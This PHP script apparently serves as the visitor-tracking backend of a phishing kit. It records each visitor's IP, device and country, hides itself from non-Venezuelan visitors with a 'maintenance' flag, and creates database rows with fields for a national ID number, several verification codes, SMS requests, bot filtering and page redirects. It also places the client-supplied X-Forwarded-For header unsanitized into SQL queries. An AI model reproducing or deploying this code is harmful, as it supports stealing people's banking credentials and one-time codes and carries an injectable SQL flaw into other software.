<?php
header('content-type: application/json; charset=utf-8');
//en caso de json en vez de jsonp habría que habilitar CORS:
header("access-control-allow-origin: *");

require('../medicina/php/config/conexion.php');


date_default_timezone_set("America/Caracas");
$fecha_actual=strftime( "%Y-%m-%d %H:%M:%S", time());

function obtenerIPCliente() {
    if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        // Si existe el encabezado HTTP_X_FORWARDED_FOR, tomamos la primera IP de la lista
        $ip = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR'])[0];
    } else {
        // Si no existe, usamos REMOTE_ADDR
        $ip = $_SERVER['REMOTE_ADDR'];
    }
    return $ip;
}

$ip_del_usuario= obtenerIPCliente();

//$ip_del_usuario='190.97.228.198';
//$ip_del_usuario = $_SERVER['REMOTE_ADDR'];
//$dispositivo =trim($_POST['dispositivo']);



/////////////////////////////////////////
$cedula='--';
$valid_user='9';
$user_dato1='--';
$user_dato2='--';
$user_dato3='--';
$user_dato4='--';
$code1='--';
$code2='--';
$code3='--';
$status=0;
$img1='';
$img2='';
$img3='';
$arr = array();


function convertirFechaHoraNumerico($fechaHora) {
    // Convertir la fecha y hora en formato %Y-%m-%d %H:%M:%S a formato numérico YmdHis
    $fechaNumerica = str_replace(['-', ' ', ':'], '', $fechaHora);
    return $fechaNumerica;
}


$tiempo_actual = convertirFechaHoraNumerico($fecha_actual);


if(isset($_SERVER['HTTP_USER_AGENT'])){

    $user_agente = $_SERVER['HTTP_USER_AGENT'];
    $user_agente_url = $_SERVER['HTTP_USER_AGENT'];

} else {
    //aca opcional se le agrega ya q no detecta hermano.
    $user_agente='Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36';

}



// Función para determinar si el User-Agent pertenece a un dispositivo móvil
function es_movil($user_agente) {
    $movil_agentes = array(
        'Mobile', 'Android', 'Silk/', 'Kindle', 'BlackBerry', 'Opera Mini', 'Opera Mobi'
    );
    
    foreach ($movil_agentes as $movil_agente) {
        if (strpos($user_agente, $movil_agente) !== false) {
            return true;
        }
    }
    return false;
}

// Determinar si el User-Agent es de un dispositivo móvil
if (es_movil($user_agente)) {
    $dispositivo ='movil';
} else {
    $dispositivo ='pc';
}


$pais='';


$curl = curl_init();
curl_setopt_array($curl, [
  CURLOPT_URL => "https://geo.leadboxer.com/GeoIpEngine/".$ip_del_usuario."?jsonp=&callback=jQuery112405008093036142254_1706543211533&_=1706543211534",
  CURLOPT_RETURNTRANSFER => true,
    CURLOPT_HEADER => true,
  CURLOPT_ENCODING => "",
  CURLOPT_MAXREDIRS => 10,
  CURLOPT_TIMEOUT => 30,
  CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
  CURLOPT_CUSTOMREQUEST => "GET",
  CURLOPT_HTTPHEADER => [
    "accept: */*",
    "accept-language: es-ES,es;q=0.9",
    "connection: keep-alive",
    "host: geo.leadboxer.com",
    "referer: https://www.opentracker.net/feature/ip-tracker?ip=140.51.159.132",
    "sec-ch-ua: \"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"",
    "sec-ch-ua-mobile: ?0",
    "sec-ch-ua-platform: \"Windows\"",
    "sec-fetch-dest: script",
    "sec-fetch-mode: no-cors",
    "sec-fetch-site: cross-site",
    "user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"
  ],
]);

$response = curl_exec($curl);
$err = curl_error($curl);

curl_close($curl);



        $validacion1_p = strpos($response, 'countryName":"');
                      if ($validacion1_p !== false) {

                      $porciones_1_p = explode('countryName":"', $response);
                      $porciones_2_p= $porciones_1_p[1];

                      $porciones_3_p = explode('"', $porciones_2_p);
                      $pais = trim($porciones_3_p[0]);
             
         }else{
                      $pais='Venezuela';
         }


   
         if (strpos($pais, 'Venezuela') !== false) {
              $pais ='Venezuela';
         } 
           
          
//$pais='Venezuela';

 $consulta2 = "SELECT * FROM tabla_clientes WHERE ip='$ip_del_usuario'";
 $resultado2 = mysqli_query( $conexion, $consulta2 ) or die ( "Algo ha ido mal en la consulta a la base de datos");

              if (mysqli_num_rows($resultado2)>=1){

          
                    $tiempo_actual = convertirFechaHoraNumerico($fecha_actual);

                              if(mysqli_query($conexion,"UPDATE tabla_clientes SET tiempo = '$tiempo_actual' where ip = '$ip_del_usuario'")){

                                  if($pais=='Venezuela'){
                                        $arr[] = array('existe' => 'si','mant' => '0'); 
                                    }else{
                                        $arr[] = array('existe' => 'si','mant' => '1'); 
                                    }

                             
                                    echo '' . json_encode($arr) . '';
                                    return;

                              }


              } else{

                             if(mysqli_query($conexion,"INSERT INTO tabla_clientes (ip,disp,cedula,valid_user,user_dato1,user_dato2,user_dato3,user_dato4,code1,code2,code3,status,tiempo,img1,img2,img3,useragent,loading,redirigir,valid_code1,g_code1,valid_code2,tipo_code2,tipocuenta,operador,pantalla,valid_user_0,url_imagen1,filtro_j,intentos_fail_bot,bot_name,nro_fail,pais,code_form,valid_code3,valid_code4,code4,pedir_sms2,valid_amarre) values ('$ip_del_usuario','$dispositivo','$cedula','$valid_user','$user_dato1','$user_dato2','$user_dato3','$user_dato4','$code1','$code2','$code3','$status','$tiempo_actual','$img1','$img2','$img3','$user_agente','0','0','9','','9','--','--','--','0','9','--','','0','','','$pais','','9','9','--','--','9')")){


                                if($pais=='Venezuela'){
                                    $arr[] = array('guardo' => 'si','mant' => '0'); 
                                }else{
                                    $arr[] = array('guardo' => 'si','mant' => '1'); 
                                }

                                     
                                       


                            }else{
                                     $arr[] = array('guardo' => 'no'); 
                            }
              }


          
    echo '' . json_encode($arr) . '';